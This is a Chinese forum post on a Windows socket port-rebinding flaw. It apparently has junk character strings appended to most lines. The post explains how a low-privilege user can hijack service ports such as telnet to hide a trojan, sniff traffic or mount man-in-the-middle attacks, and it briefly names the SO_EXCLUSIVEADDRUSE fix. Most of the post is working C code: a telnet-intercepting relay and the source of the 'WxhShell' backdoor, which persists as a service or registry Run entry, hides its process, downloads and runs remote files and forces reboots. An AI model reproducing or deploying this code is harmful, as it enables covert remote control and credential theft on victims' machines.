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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q_A!'sm@)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5B3G @KR  
MOQ*]fV:  
  saddr.sin_family = AF_INET; e D?tLj  
}v}P .P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v3~?;f,l  
jFL #s&ft  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X86O lP)eX  
'"0'Oua  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ezc?#<+7  
L*xhGoC=  
  这意味着什么?意味着可以进行如下的攻击: `T@i.'X  
"O3tq =Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~ =M7 3U#  
*\+\5pu0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .,<1%-R34q  
0l)~i' '  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N} G[7Rp8l  
xpV|\2C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #rMlI3;  
^}/PGG\~r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _n0CfH.v  
o=1Uh,S3R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]!?;@$wx  
jS]ru-5.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y,<{vLEC  
4tRYw0f47  
  #include FH?U(-  
  #include ^ Edfv5  
  #include I&#| w"/"U  
  #include    7zXvnxYE  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <'y?KiphL  
  int main() Yb|c\[ %  
  { oK6tTK  
  WORD wVersionRequested; Z]>O+  
  DWORD ret; q/4J.j L  
  WSADATA wsaData; XKj|f`  
  BOOL val; EH+"~-v)ae  
  SOCKADDR_IN saddr; '}ptj@,  
  SOCKADDR_IN scaddr; H%qsjB^  
  int err; ^me-[ 5  
  SOCKET s; 6 a(yp3  
  SOCKET sc; kyR:[+je  
  int caddsize; g0xuxK;9c  
  HANDLE mt; l%k\JY-  
  DWORD tid;   9vuyv*-}e  
  wVersionRequested = MAKEWORD( 2, 2 ); D=q:*x  
  err = WSAStartup( wVersionRequested, &wsaData ); CpUk Cgg  
  if ( err != 0 ) { $O&b``  
  printf("error!WSAStartup failed!\n"); ~Z\8UsVN  
  return -1; cvn@/qBq*t  
  } :KQ~Cb  
  saddr.sin_family = AF_INET; K[I=6  
   u 1J0$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F+YZE[h%  
z`.<U{5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1!xQ=DU"  
  saddr.sin_port = htons(23); y;35WtDVb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nyku4r0  
  { 7-bd9uVK  
  printf("error!socket failed!\n"); Fco`^kql.D  
  return -1; H4WP~(__  
  } t URu0`](  
  val = TRUE; LC,F <>w1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8zZvht*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ISYXH9V  
  { H[6:_**?o  
  printf("error!setsockopt failed!\n"); &|s0P   
  return -1; Km qMFB62  
  } %|s; C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ih58 <Up5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @:oXN]+ _  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }s7$7  
Y xr>"KH6a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QmQ=q7  
  { JA %J$d  
  ret=GetLastError(); 6hno)kd{=  
  printf("error!bind failed!\n"); cq,SP&T~  
  return -1; M1k{t%M+S  
  } Gw}%{=D9  
  listen(s,2); iowTLq!?  
  while(1) |6.l7u ?d  
  { !S$:*5=&  
  caddsize = sizeof(scaddr); $h+1u$po  
  //接受连接请求 e),q0%5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q 1U\D  
  if(sc!=INVALID_SOCKET) MUaq7B_>  
  { Ow+GS{-q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qrb[-|ie&  
  if(mt==NULL) KI.q@zO6|  
  { w^\52  
  printf("Thread Creat Failed!\n"); qLO4#CKCL6  
  break; p\Q5,eg  
  } oI?3<M^  
  } :">!r.Q  
  CloseHandle(mt); OC_+("N  
  } ncZ+gzK|"  
  closesocket(s); ~Q Oe##  
  WSACleanup(); 3(="YbZ  
  return 0; ^ sOQi6pL  
  }   NG=@ -eu  
  DWORD WINAPI ClientThread(LPVOID lpParam) #Vnkvvv  
  { ?fQ'^agq  
  SOCKET ss = (SOCKET)lpParam; 2bv=N4ly  
  SOCKET sc; OTvPUkp*  
  unsigned char buf[4096]; XPavReGf  
  SOCKADDR_IN saddr; 4n#M  
  long num; G'nmllB`]  
  DWORD val; q}b dxa  
  DWORD ret; =T3 <gGM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8Q.T g.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [T|aw1SoN  
  saddr.sin_family = AF_INET; ;(b9#b.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !eGC6o}f  
  saddr.sin_port = htons(23); ^a/gBC82x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q1T$k$n  
  { H[NSqu.s  
  printf("error!socket failed!\n"); fJ=0HNmX  
  return -1; v3*_9e  
  } Z|&MKG24  
  val = 100; Ja|5 @  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |O{m2Fi  
  { m~w[~flgZ  
  ret = GetLastError(); YC*"Thuu  
  return -1; NyaQI<5D  
  } aE Bu *`-j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UBv,=v  
  { _no/F2>!/n  
  ret = GetLastError(); 59 h]UX=  
  return -1; L\37xJo  
  } C>]0YO k2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HNb/-e ,"  
  { k 9_`(nx  
  printf("error!socket connect failed!\n"); z$&{:\hj  
  closesocket(sc); ! :Y:pu0  
  closesocket(ss); S:u:z=:r  
  return -1; =R^%(Py  
  } zU,9T  
  while(1)  |{&{  
  { KsddA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 imVo<Je7z(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1]d!~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \|n- O=}=2  
  num = recv(ss,buf,4096,0); C/_ZUF(V  
  if(num>0) XP`Nf)3{Yd  
  send(sc,buf,num,0); N(O9&L*4fm  
  else if(num==0) |e=,oV"  
  break; @g|v;B|{  
  num = recv(sc,buf,4096,0); 2_)\a(.Qu  
  if(num>0) Ah1]Y}sy  
  send(ss,buf,num,0); xv46r=>  
  else if(num==0) C2.HMgL  
  break; l(yZO$  
  } Zj_b>O-V  
  closesocket(ss); I"xo*}  
  closesocket(sc); pk>^?MO  
  return 0 ; HUcq% .  
  } !'Ak&j1:`  
&g#@3e1>  
E!;SL|lj.  
========================================================== 2v:]tj  
SP@ >vl+;  
下边附上一个代码,,WXhSHELL x-XD.qh7Hr  
;:iY)}  
========================================================== %]\kgRr  
6d:zb;Iz  
#include "stdafx.h" 1v#%Ei$6`t  
AWcLUe{  
#include <stdio.h> CJtcn_.F  
#include <string.h> W,D4.w$@'  
#include <windows.h> #HYr0Tw6`  
#include <winsock2.h> =NpYFKmMhV  
#include <winsvc.h> PYQ;``~x  
#include <urlmon.h> ?xA:@:l/  
88Ey12$  
#pragma comment (lib, "Ws2_32.lib") 9y6-/H ,  
#pragma comment (lib, "urlmon.lib") a@8v^G  
Qd)q([  
#define MAX_USER   100 // 最大客户端连接数 %W'v}p  
#define BUF_SOCK   200 // sock buffer JELT ou  
#define KEY_BUFF   255 // 输入 buffer ; a/X<  
o\BOL3H  
#define REBOOT     0   // 重启 EJj.1/]|r  
#define SHUTDOWN   1   // 关机 ]E7F /O/.  
9 *xR6  
#define DEF_PORT   5000 // 监听端口 H-WJp<_  
>~#yu&*D  
#define REG_LEN     16   // 注册表键长度 1 Rq,a  
#define SVC_LEN     80   // NT服务名长度 #r$cyV!k  
i3dkYevs?  
// 从dll定义API -] LY,M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V08?-Iz$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \j+1V1t9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'g6\CZw(#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ut*`:]la  
=FlDb 5t{  
// wxhshell配置信息 i% w3/m  
struct WSCFG { kd>hhiz|  
  int ws_port;         // 监听端口 67VL@ ]  
  char ws_passstr[REG_LEN]; // 口令 VX].3=T8  
  int ws_autoins;       // 安装标记, 1=yes 0=no \jh'9\  
  char ws_regname[REG_LEN]; // 注册表键名 EtJHR  
  char ws_svcname[REG_LEN]; // 服务名 0[A[U_b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d<% z 1Dj2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lyIl-!|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <W|3\p6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oin$-i|Xp!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8N!b>??  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H0:E(}@   
,f<?;z  
}; J\/cCW-rF  
]}*R|1  
// default Wxhshell configuration pSoiH<33  
struct WSCFG wscfg={DEF_PORT, S\LkL]qx  
    "xuhuanlingzhe", Y}x>t* I  
    1, u0 P|0\  
    "Wxhshell", vY4\59]P  
    "Wxhshell", mi ik%7>W  
            "WxhShell Service", ]"J~:{, d  
    "Wrsky Windows CmdShell Service", uvMy^_}L  
    "Please Input Your Password: ", wL;l Q&  
  1, ^2+yHw  
  "http://www.wrsky.com/wxhshell.exe", wy yWyf  
  "Wxhshell.exe" U}&2k  
    }; :S.9eFfa  
t'?.8}?)I&  
// 消息定义模块 V:qSy#e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; io _1Y]N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $RYa6"`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8u"!dq  
char *msg_ws_ext="\n\rExit."; AZ0;3<FfLp  
char *msg_ws_end="\n\rQuit."; R(('/JC  
char *msg_ws_boot="\n\rReboot..."; 9G9fDG#F\I  
char *msg_ws_poff="\n\rShutdown..."; jB`,u|FG  
char *msg_ws_down="\n\rSave to "; S)lkz'tdk  
_XG/Pp)  
char *msg_ws_err="\n\rErr!"; @AG n{q  
char *msg_ws_ok="\n\rOK!"; 0F]>Jby  
T29Dt  
char ExeFile[MAX_PATH]; B{|8#jqY  
int nUser = 0; 3_txg>P"  
HANDLE handles[MAX_USER]; G.rrv  
int OsIsNt; +Fuqch jq  
$@"l#vJPfc  
SERVICE_STATUS       serviceStatus; 2-7IJ\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }B8IBveu  
cU;iUf  
// 函数声明 ZZ k=E4aae  
int Install(void); Ge2q%  
int Uninstall(void); J]v%q,"  
int DownloadFile(char *sURL, SOCKET wsh); cJN7bA {  
int Boot(int flag); pv*,gSS  
void HideProc(void); -j%,Oo  
int GetOsVer(void); 9bP^`\K[N  
int Wxhshell(SOCKET wsl); 9)}[7Mg:C  
void TalkWithClient(void *cs); Px$/ _`H  
int CmdShell(SOCKET sock); $eD.W  
int StartFromService(void); GKOD/,  
int StartWxhshell(LPSTR lpCmdLine); cVubb}ou  
t?q@H8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1KMLG=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V"*O=h  
K&nE_.kbl  
// 数据结构和表定义 4xk|F'6K  
SERVICE_TABLE_ENTRY DispatchTable[] = q;QbUO  
{  `dFq:8v  
{wscfg.ws_svcname, NTServiceMain}, "{tg8-a4)  
{NULL, NULL} PK;*u,V  
}; b vS(@  
|K6REkzr  
// 自我安装 AmaT0tzJC  
int Install(void) ko Z  
{ 3 DDML,  
  char svExeFile[MAX_PATH]; gXYI\.  
  HKEY key; $>GgB`  
  strcpy(svExeFile,ExeFile); '$|[R98  
6I1,:nLL<  
// 如果是win9x系统,修改注册表设为自启动 ~Q?a|mV,  
if(!OsIsNt) { ;ado0-VQi'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QrfG^GID  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f#?fxUH~  
  RegCloseKey(key); {7$c8i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .z 6fv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qp/v^$EA  
  RegCloseKey(key);  TR<<+  
  return 0; SF&BbjBE0  
    } jqv-D  
  } "ul {d(K3  
} *$p2*%7Ne  
else { G]fRk^~  
V\u>"3BQw  
// 如果是NT以上系统,安装为系统服务 w S4.8iJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %K\?E98M  
if (schSCManager!=0) J13>i7]L%  
{ +)j$|x~(A  
  SC_HANDLE schService = CreateService >iD )eB  
  ( u#Z#)3P  
  schSCManager, *8#i$w11M  
  wscfg.ws_svcname, 1jy9lP=  
  wscfg.ws_svcdisp, _h X]%  
  SERVICE_ALL_ACCESS, /h*>P:i].  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AI,(z;{P  
  SERVICE_AUTO_START, kB'Fkqwm  
  SERVICE_ERROR_NORMAL, x/;buW-  
  svExeFile,  :@%4  
  NULL, R,F[XI+=N  
  NULL, 89\n;5'f4  
  NULL, KcK>%%  
  NULL, #bl6sa{E  
  NULL SILQ  
  ); x9;gT&@H  
  if (schService!=0) ag*mG*Z  
  { I9:Cb)hbU]  
  CloseServiceHandle(schService); ^1Zeb$Nw'  
  CloseServiceHandle(schSCManager); uoHNn7W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .a._NW  
  strcat(svExeFile,wscfg.ws_svcname); ^go7_y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _Y8hb!#(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F8;dKyT?q  
  RegCloseKey(key); JMH8MH*  
  return 0; 6`]$qSTS  
    } ve% xxn:  
  } vgUb{D  
  CloseServiceHandle(schSCManager); \>C YC|  
} )yTm.F  
} q|Qk2M  
hRty [  
return 1; qIY~dQ|  
} $OP7l>KZY  
|1b_3?e  
// 自我卸载 !<SA6m#  
int Uninstall(void) wi4=OU1L)a  
{ l2l(_$@3  
  HKEY key; UN zlN  
Q($Z%1S  
if(!OsIsNt) { J2j U4mR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m < 3Ao^I+  
  RegDeleteValue(key,wscfg.ws_regname); xf b]b2  
  RegCloseKey(key); <o+<H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6IWxPt ~  
  RegDeleteValue(key,wscfg.ws_regname); E;1Jh(58)b  
  RegCloseKey(key); j{NNSi3  
  return 0; =k/IaFg 6w  
  } ]R=,5kK3  
} D<Z p!J1o  
} DSt]{fl`P  
else { Clh!gpB c  
2Sh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aBNZdX]vzO  
if (schSCManager!=0) K^ B%/T]d  
{ t 0-(U\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v76D3'8  
  if (schService!=0) (s{RnD  
  { Oi:<~E[kz.  
  if(DeleteService(schService)!=0) { L~I hsiB  
  CloseServiceHandle(schService);  +QE^\a  
  CloseServiceHandle(schSCManager); ^b7GH9<&  
  return 0; zkO<-w  
  } SF5@Vg  
  CloseServiceHandle(schService); JB>b`W9   
  } WdnIp!  
  CloseServiceHandle(schSCManager); 6<$Odd  
} E@P %v{)  
} !w H'b  
xY$iz)^0&  
return 1; Bf$_XG3  
} ;>AL`M+  
(XXheC  
// 从指定url下载文件 P1NJ^rX  
int DownloadFile(char *sURL, SOCKET wsh) &m[Qn!>i6  
{ Y;)dct  
  HRESULT hr; {U84 _Pi  
char seps[]= "/"; r YF #^  
char *token; QjC22lW-  
char *file; !H2QjW  
char myURL[MAX_PATH]; [xT:]Pw}  
char myFILE[MAX_PATH]; l/Vo-#  
A.D{.a  
strcpy(myURL,sURL); l27\diKPJ  
  token=strtok(myURL,seps); kFQ8 y~>y}  
  while(token!=NULL) 06Gt&_Q  
  { ) /v6l  
    file=token; t w(JZDc  
  token=strtok(NULL,seps); CT\;xt,S  
  } Raw)9tUt  
b9"jtRTdz  
GetCurrentDirectory(MAX_PATH,myFILE); ?]rPRV  
strcat(myFILE, "\\"); YOrrkbJ(  
strcat(myFILE, file); <&!v1yR  
  send(wsh,myFILE,strlen(myFILE),0); ,&d@O>$E:  
send(wsh,"...",3,0); !sRngXCXk?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q0\0f  
  if(hr==S_OK) F|& {Rt  
return 0; q|%(3,)ig  
else JMCW}bA  
return 1; n3lE, b  
IQ!\w-  
} :=9] c17=  
1RKW2RCaW_  
// 系统电源模块 &h~Xq^  
int Boot(int flag) oxj3[</'k  
{ : iiw3#]  
  HANDLE hToken; tV9L D>3  
  TOKEN_PRIVILEGES tkp; ,KJw|x4}\  
5VO;s1  
  if(OsIsNt) { L.T?}o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N-g8}03  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BI:k#jO!  
    tkp.PrivilegeCount = 1; xcJ `1*1N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zyg:nKQW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [Px'\ nVf  
if(flag==REBOOT) { SSBg?H'T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4 V1bLm  
  return 0; `]v[5E  
} D{v8q)5r  
else { Jd,)a#<j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3@n>*7/E  
  return 0; i-U4RZE  
} <} jPXEB"  
  } E(Rh#+]Y5  
  else { b.O9ITR  
if(flag==REBOOT) { Kd3?I5t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dx,=Rd5'  
  return 0; &t(0E:^TRU  
} 8SmnMt  
else { \tyg(srw0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fn CItK~y  
  return 0; `d2,*KR  
} 8wH.et25k  
} O|cu.u|  
J wmT /  
return 1; >%Ee#m  
} rs=q! P"u[  
}%TSGC4{  
// win9x进程隐藏模块 X~ Rl 6/,  
void HideProc(void) ^")F7`PF  
{ !}M,  
I1U7.CT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MYe HS   
  if ( hKernel != NULL ) 5~XN>>hp  
  { ]+DI.%   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~Z$bf>[(R7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r C[6lIP  
    FreeLibrary(hKernel); 9^F2$+T[:  
  } kJs^ z  
w'7R4  
return; fR-C0"c  
} V+wH?H=  
%ICglF R  
// 获取操作系统版本 !SHj$Jwa'  
int GetOsVer(void) G&eP5'B4i  
{ IO.<q,pP!_  
  OSVERSIONINFO winfo; C.!_]Pxs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eyw'7  
  GetVersionEx(&winfo); {Z{o"56f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oCi ~P}r  
  return 1; 2 4\g bv<  
  else )wzV $(~  
  return 0; *j)M]  
}  ZC^C  
_q>SE1j+W=  
// 客户端句柄模块 6\d X  
int Wxhshell(SOCKET wsl) |E/L.gdP7  
{ nw'-`*'rj  
  SOCKET wsh; N1--~e  
  struct sockaddr_in client; 0_<Nc/(P  
  DWORD myID; U Lmg$T&  
Sj 3oV  
  while(nUser<MAX_USER) ,35&G"JK5  
{ _94s(~g:  
  int nSize=sizeof(client); MXAEX2xmme  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h!]"R<QQdu  
  if(wsh==INVALID_SOCKET) return 1; ^Ip3A  
t)1phg4H)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f!GHEhQ9  
if(handles[nUser]==0) 4,eQW[;kk  
  closesocket(wsh); CSn<]%GL  
else udqge?Tz  
  nUser++; Bmr<O !  
  } +QqH}= M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KHj6Tg;)  
Q2'eQ0W{ o  
  return 0; I ,FqN}  
} ?s{C//  
cz.3|Lby  
// 关闭 socket KXBL eR&^  
void CloseIt(SOCKET wsh) w{7 ji}  
{ 8cr NOZS6  
closesocket(wsh); [Z }B"  
nUser--; .;Y x*]  
ExitThread(0); bejGfc  
} Z$2L~j"=!  
fNhT;Bux  
// 客户端请求句柄 I"Q<n[g0'  
void TalkWithClient(void *cs) 03E3cp"  
{ xUj2 ]Q>R+  
:I/  
  SOCKET wsh=(SOCKET)cs; ;h+q  
  char pwd[SVC_LEN]; }$)&{d G  
  char cmd[KEY_BUFF]; lCFU1 GHH  
char chr[1]; dK # h<q1  
int i,j; Xem| o&  
R7aXR\ R  
  while (nUser < MAX_USER) { ep?:;98|t  
E%*AXkJ'dZ  
if(wscfg.ws_passstr) { |zMqJ.qu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~zMKVM1Q.,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AVpuMNd@  
  //ZeroMemory(pwd,KEY_BUFF); ]gP8?s|  
      i=0; xii$e  
  while(i<SVC_LEN) { GVObz?Z]SB  
2v^lD('  
  // 设置超时 =HPu {K$  
  fd_set FdRead; R~c1)[[E  
  struct timeval TimeOut; (5(fd.m+_  
  FD_ZERO(&FdRead); |Y{PO&-?r  
  FD_SET(wsh,&FdRead); "t+r+ipf])  
  TimeOut.tv_sec=8; q!2<=:f  
  TimeOut.tv_usec=0; {,v: GMsm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M71R -B`-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ? Q:PPqQ  
RIo'X@zb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); syMm`/*/G-  
  pwd=chr[0]; ohTd'+Lm  
  if(chr[0]==0xd || chr[0]==0xa) { 3Q$c'C  
  pwd=0; >nNl^ yqW  
  break; |KaR n;BM  
  } 6 5"uD7;  
  i++; b6Xi  
    } X8.y4{5  
$O]^Xm3{@  
  // 如果是非法用户,关闭 socket KDaN-r^{%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G|V\^.f<  
} LO}z)j~W  
aZxO/b^j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JP_kQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;r=?BbND?  
NCxn^$/+>9  
while(1) { 3 9yz~  
#rq?f  
  ZeroMemory(cmd,KEY_BUFF); 0w+5'lOg  
P09,P  
      // 自动支持客户端 telnet标准   w?/f Zx  
  j=0; *sAOpf@M  
  while(j<KEY_BUFF) { QP<FCmt8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "$Y(NFb  
  cmd[j]=chr[0]; jB/V{Y#y9@  
  if(chr[0]==0xa || chr[0]==0xd) { l"?]BC~  
  cmd[j]=0; A{t"M-<  
  break; $&Ac5Zo%}  
  } ?0m?7{  
  j++; x36NL^  
    } p*!q}%U  
_Z0\`kba+  
  // 下载文件 oB3q AP  
  if(strstr(cmd,"http://")) { :=Nb=&lst  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >z5Oy  
  if(DownloadFile(cmd,wsh)) AO^]>/7ed  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $oc9 |Q 7  
  else ` )]lUvR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :`;(p{  
  } WySNL#>a  
  else { uGM>C"  
H[Cj7{V  
    switch(cmd[0]) { 8Y7 @D$=w  
  jB`7T^bU  
  // 帮助 t+jIHo  
  case '?': { M;V&KG Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2S'AIuIew  
    break; =P)"NP7f'  
  } 3 L*+8a  
  // 安装 iq,ah"L  
  case 'i': { +&(J n  
    if(Install()) 4Sqvhz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iY}QgB< M  
    else h<GyplG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FF8WTuzB+  
    break; 3g^IXm:K$  
    } c 3}x)aQ  
  // 卸载 w<btv]X1  
  case 'r': { ]X/O IfdWe  
    if(Uninstall()) rA[nUJ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(^33k  
    else >y&[BB7S6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fmtuFr^a1  
    break; 8 f|9W%jt  
    } l.sm~/  
  // 显示 wxhshell 所在路径 t;h+Cf4  
  case 'p': { A&D2T  
    char svExeFile[MAX_PATH]; nR(#F9  
    strcpy(svExeFile,"\n\r"); (H'_KPK  
      strcat(svExeFile,ExeFile); zUe#Wp[  
        send(wsh,svExeFile,strlen(svExeFile),0); >3<&V{<K  
    break;  =7*oC  
    } 11PLH0  
  // 重启 b(g_.1[  
  case 'b': { e|S+G6 :O2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8[vl3C  
    if(Boot(REBOOT)) 8''9@xz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?aP1  
    else { 0 =3FO}[u  
    closesocket(wsh); ' 2;Ny23  
    ExitThread(0); ?IL! X-xx  
    } ,)0/Ec  
    break; \Sz4Gr0g3Z  
    } E!:.G+SEl  
  // 关机 cP/F| uG5  
  case 'd': { N )b|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [GcA.ABz  
